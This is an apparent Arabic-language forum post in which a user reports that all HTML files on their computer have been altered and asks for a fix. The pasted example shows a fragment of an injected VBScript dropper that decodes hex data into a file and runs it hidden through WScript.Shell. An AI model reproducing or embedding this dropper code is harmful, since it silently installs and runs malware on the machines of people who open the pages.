خلل في كافه ملفات html على جهازي!

السلام عليكم
اليوم فتحت الحاسب الخاص بي وجدت ان كافه صفحات HTML قد شفرت!
مثال للصفحة:
رمز PHP:

New Page 1

Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->



ما الحل ارجوكم؟</div>






أكثر...